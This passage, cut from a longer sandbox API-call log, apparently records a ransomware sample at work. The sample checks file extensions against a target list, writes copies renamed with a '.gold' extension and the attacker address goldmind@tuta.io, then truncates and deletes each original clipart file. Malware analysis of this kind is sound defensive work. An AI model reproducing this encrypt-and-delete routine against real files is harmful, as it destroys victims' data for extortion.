(lpString1=".rar", lpString2=".WMF") returned -1 [0107.049] lstrlenW (lpString=".bz2") returned 4 [0107.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.049] lstrlenW (lpString=".7z") returned 3 [0107.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0107.049] lstrlenW (lpString=".dbf") returned 4 [0107.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0107.049] lstrlenW (lpString=".1cd") returned 4 [0107.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0107.049] lstrlenW (lpString=".jpg") returned 4 [0107.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0107.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0107.049] lstrlenW (lpString=".doc") returned 4 [0107.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.049] lstrlenW (lpString=".docx") returned 5 [0107.049] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.049] lstrlenW (lpString=".pdf") returned 4 [0107.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.049] lstrlenW (lpString=".xls") returned 4 [0107.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.049] lstrlenW (lpString=".xlsx") returned 5 [0107.049] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.049] lstrlenW (lpString=".ppt") returned 4 [0107.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0107.049] lstrlenW (lpString=".zip") returned 4 [0107.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.049] lstrlenW (lpString=".rar") returned 4 [0107.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.049] lstrlenW (lpString=".bz2") returned 4 [0107.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.049] lstrlenW (lpString=".7z") returned 3 [0107.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0107.050] lstrlenW (lpString=".dbf") returned 4 [0107.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0107.050] lstrlenW (lpString=".1cd") returned 4 [0107.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0107.050] lstrlenW (lpString=".jpg") returned 4 [0107.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.050] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.050] lstrlenW (lpString="J0107254.WMF") returned 12 [0107.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.050] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=20212) returned 1 [0107.050] CloseHandle (hObject=0x3b8) returned 1 [0107.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 0x20 [0107.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.051] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.051] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.051] GetLastError () returned 0x0 [0107.051] ReadFile (in: hFile=0x3b8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4ef4, lpOverlapped=0x0) returned 1 [0107.053] WriteFile (in: hFile=0x3cc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4f00, lpOverlapped=0x0) returned 1 [0107.054] ReadFile (in: hFile=0x3b8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.054] WriteFile (in: hFile=0x3cc, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.054] SetEndOfFile (hFile=0x3cc) returned 1 [0107.054] CloseHandle (hObject=0x3cc) returned 1 [0107.054] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.054] SetEndOfFile (hFile=0x3b8) returned 1 [0107.056] CloseHandle (hObject=0x3b8) returned 1 [0107.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf")) returned 1 [0107.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0107.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0107.283] lstrlenW (lpString=".doc") returned 4 [0107.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.283] lstrlenW (lpString=".docx") returned 5 [0107.283] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.283] lstrlenW (lpString=".pdf") returned 4 [0107.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.283] lstrlenW (lpString=".xls") returned 4 [0107.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.283] lstrlenW (lpString=".xlsx") returned 5 [0107.283] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.283] lstrlenW (lpString=".ppt") returned 4 [0107.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0107.283] lstrlenW (lpString=".zip") returned 4 [0107.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.283] lstrlenW (lpString=".rar") returned 4 [0107.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.283] lstrlenW (lpString=".bz2") returned 4 [0107.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.283] lstrlenW (lpString=".7z") returned 3 [0107.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0107.283] lstrlenW (lpString=".dbf") returned 4 [0107.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0107.283] lstrlenW (lpString=".1cd") returned 4 [0107.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0107.283] lstrlenW (lpString=".jpg") returned 4 [0107.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0107.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0107.283] lstrlenW (lpString=".doc") returned 4 [0107.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.284] lstrlenW (lpString=".docx") returned 5 [0107.284] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.284] lstrlenW (lpString=".pdf") returned 4 [0107.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.284] lstrlenW (lpString=".xls") returned 4 [0107.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.284] lstrlenW (lpString=".xlsx") returned 5 [0107.284] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.284] lstrlenW (lpString=".ppt") returned 4 [0107.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0107.284] lstrlenW (lpString=".zip") returned 4 [0107.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.284] lstrlenW (lpString=".rar") returned 4 [0107.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.284] lstrlenW (lpString=".bz2") returned 4 [0107.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.284] lstrlenW (lpString=".7z") returned 3 [0107.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0107.284] lstrlenW (lpString=".dbf") returned 4 [0107.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0107.284] lstrlenW (lpString=".1cd") returned 4 [0107.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF") returned 63 [0107.284] lstrlenW (lpString=".jpg") returned 4 [0107.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.284] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.284] lstrlenW (lpString="J0107258.WMF") returned 12 [0107.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.369] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=8552) returned 1 [0107.369] CloseHandle (hObject=0x3ac) returned 1 [0107.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 0x20 [0107.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.370] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.370] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0107.371] GetLastError () returned 0x0 [0107.371] ReadFile (in: hFile=0x3ac, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x2168, lpOverlapped=0x0) returned 1 [0107.396] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x2170, lpOverlapped=0x0) returned 1 [0107.397] ReadFile (in: hFile=0x3ac, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.397] WriteFile (in: hFile=0x394, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.397] SetEndOfFile (hFile=0x394) returned 1 [0107.397] CloseHandle (hObject=0x394) returned 1 [0107.397] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.397] SetEndOfFile (hFile=0x3ac) returned 1 [0107.399] CloseHandle (hObject=0x3ac) returned 1 [0107.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf")) returned 1 [0107.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0107.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0107.472] lstrlenW (lpString=".doc") returned 4 [0107.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.472] lstrlenW (lpString=".docx") returned 5 [0107.472] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.472] lstrlenW (lpString=".pdf") returned 4 [0107.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.472] lstrlenW (lpString=".xls") returned 4 [0107.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.472] lstrlenW (lpString=".xlsx") returned 5 [0107.472] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.472] lstrlenW (lpString=".ppt") returned 4 [0107.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0107.472] lstrlenW (lpString=".zip") returned 4 [0107.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.472] lstrlenW (lpString=".rar") returned 4 [0107.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.472] lstrlenW (lpString=".bz2") returned 4 [0107.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.472] lstrlenW (lpString=".7z") returned 3 [0107.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0107.472] lstrlenW (lpString=".dbf") returned 4 [0107.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0107.472] lstrlenW (lpString=".1cd") returned 4 [0107.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0107.472] lstrlenW (lpString=".jpg") returned 4 [0107.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0107.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0107.472] lstrlenW (lpString=".doc") returned 4 [0107.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.472] lstrlenW (lpString=".docx") returned 5 [0107.472] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.472] lstrlenW (lpString=".pdf") returned 4 [0107.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.472] lstrlenW (lpString=".xls") returned 4 [0107.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.472] lstrlenW (lpString=".xlsx") returned 5 [0107.472] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.473] lstrlenW (lpString=".ppt") returned 4 [0107.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0107.473] lstrlenW (lpString=".zip") returned 4 [0107.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.473] lstrlenW (lpString=".rar") returned 4 [0107.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.473] lstrlenW (lpString=".bz2") returned 4 [0107.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.473] lstrlenW (lpString=".7z") returned 3 [0107.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0107.473] lstrlenW (lpString=".dbf") returned 4 [0107.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0107.473] lstrlenW (lpString=".1cd") returned 4 [0107.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF") returned 63 [0107.473] lstrlenW (lpString=".jpg") returned 4 [0107.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.473] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.473] lstrlenW (lpString="J0107300.WMF") returned 12 [0107.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.474] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=2460) returned 1 [0107.474] CloseHandle (hObject=0x3a8) returned 1 [0107.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 0x20 [0107.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.474] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.474] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.475] GetLastError () returned 0x0 [0107.475] ReadFile (in: hFile=0x3a8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x99c, lpOverlapped=0x0) returned 1 [0107.498] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x9a0, lpOverlapped=0x0) returned 1 [0107.499] ReadFile (in: hFile=0x3a8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.499] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.499] SetEndOfFile (hFile=0x194) returned 1 [0107.499] CloseHandle (hObject=0x194) returned 1 [0107.499] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.499] SetEndOfFile (hFile=0x3a8) returned 1 [0107.500] CloseHandle (hObject=0x3a8) returned 1 [0107.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 1 [0107.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0107.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0107.534] lstrlenW (lpString=".doc") returned 4 [0107.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.534] lstrlenW (lpString=".docx") returned 5 [0107.534] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.534] lstrlenW (lpString=".pdf") returned 4 [0107.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString=".xls") returned 4 [0107.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.535] lstrlenW (lpString=".xlsx") returned 5 [0107.535] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.535] lstrlenW (lpString=".ppt") returned 4 [0107.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0107.535] lstrlenW (lpString=".zip") returned 4 [0107.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.535] lstrlenW (lpString=".rar") returned 4 [0107.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString=".bz2") returned 4 [0107.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString=".7z") returned 3 [0107.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0107.535] lstrlenW (lpString=".dbf") returned 4 [0107.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0107.535] lstrlenW (lpString=".1cd") returned 4 [0107.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString="C:\\Program 